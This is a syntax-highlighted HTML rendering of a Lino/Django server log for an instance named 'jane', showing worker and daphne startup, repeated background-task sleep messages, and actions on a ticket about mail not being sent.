&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;channels&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;worker&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Running&lt;/span&gt; &lt;span class="n"&gt;worker&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;channels&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;linod_jane&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Start&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Start&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;runner&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Logger&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;INFO&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;...&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.984451&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136972&lt;/span&gt; &lt;span class="mi"&gt;140550985377600&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Started&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;jane&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;daphne&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;daphne&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;jane_daphne1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;access&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;proxy&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="n"&gt;asgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;lino_local&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jane&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;PID&lt;/span&gt; &lt;span class="mi"&gt;136972&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136971&lt;/span&gt; &lt;span class="mi"&gt;140023566563136&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Started&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;jane&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;daphne&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;daphne&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;jane_daphne0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;access&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;proxy&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="n"&gt;asgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;lino_local&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jane&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;PID&lt;/span&gt; &lt;span class="mi"&gt;136971&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.99448&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.996263&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.995986&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.994652&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136971&lt;/span&gt; &lt;span class="mi"&gt;140023299036928&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;submit_detail&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="c1"&gt;#5278 (&amp;quot;#5278 (Jane doesn&amp;#39;t send mails)&amp;quot;)]&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.995164&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.996292&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136972&lt;/span&gt; &lt;span class="mi"&gt;140550819161856&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_session&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="c1"&gt;#5278 (&amp;quot;#5278 (Jane doesn&amp;#39;t send mails)&amp;quot;)]&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.996359&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.995296&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.995327&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;4.892348&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Start&lt;/span&gt; &lt;span class="n"&gt;Background&lt;/span&gt; &lt;span class="n"&gt;task&lt;/span&gt; &lt;span class="c1"&gt;#8 generate_calendar_entries...&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Start&lt;/span&gt; &lt;span class="n"&gt;Background&lt;/span&gt; &lt;span class="n"&gt;task&lt;/span&gt; &lt;span class="c1"&gt;#9 update_publisher_pages...&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739873892096&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Update&lt;/span&gt; &lt;span class="n"&gt;published&lt;/span&gt; &lt;span class="n"&gt;pages&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
